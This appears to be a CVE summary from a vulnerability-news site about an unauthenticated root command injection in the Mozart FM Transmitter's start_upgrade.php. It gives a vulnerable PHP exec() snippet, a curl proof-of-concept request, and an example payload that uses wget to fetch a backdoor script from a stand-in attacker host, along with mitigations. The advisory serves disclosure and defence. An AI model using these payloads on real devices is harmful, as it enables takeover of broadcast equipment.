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How the Mentioned CVE Works
The vulnerability exists within the `/var/tdf/start_upgrade.php` script of the Mozart FM Transmitter’s web interface. This endpoint is designed to handle firmware upgrade operations. The script unsafely processes user-supplied input from the `filename` HTTP GET parameter. The value of `$_GET[“filename”]` is directly concatenated into a string that is passed to the PHP `exec()` function, which executes commands at the operating system level. No validation, sanitization, or shell argument escaping is performed on this input. An unauthenticated remote attacker can exploit this by sending a crafted HTTP request where the `filename` parameter contains shell metacharacters such as semicolons (;), pipes (|), or backticks (`). These characters allow the termination of the intended command and the injection of arbitrary shell commands. The injected commands are executed with the privileges of the web server process, which, according to the analysis, is likely running as the `root` user. This results in complete, unauthenticated remote code execution on the affected transmitter device, granting the attacker full control over the system.
dailycve form:
Platform: Mozart FM Transmitter
Version: 30,50,100,300,500,1000,2000,3000,3500,6000,7000
Vulnerability: OS Command Injection
Severity: CRITICAL
date: 11/25/2025
Prediction: Q1 2026
What Undercode Say:
curl -s "http://<target>/var/tdf/start_upgrade.php?filename=test;id>/tmp/exploit;echo" cat /tmp/exploit
// Vulnerable code snippet from start_upgrade.php
$filename = $_GET['filename'];
exec("some_command " . $filename . " > /dev/null");
How Exploit:
1. Attacker identifies target Mozart transmitter web interface.
2. Crafts HTTP GET request to `/var/tdf/start_upgrade.php`.
- Injects shell commands via `filename` parameter (
e.g., filename=;wget${IFS}attacker.com/backdoor.sh). - Commands execute as root, providing full system access.
Protection from this CVE
- Apply vendor patch.
- Input validation/sanitization.
- Remove vulnerable file.
- Network segmentation.
Impact:
- Full system compromise.
- Unauthenticated remote code execution.
- Root-level access.
- Device takeover.
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Sources:
Reported By: nvd.nist.gov
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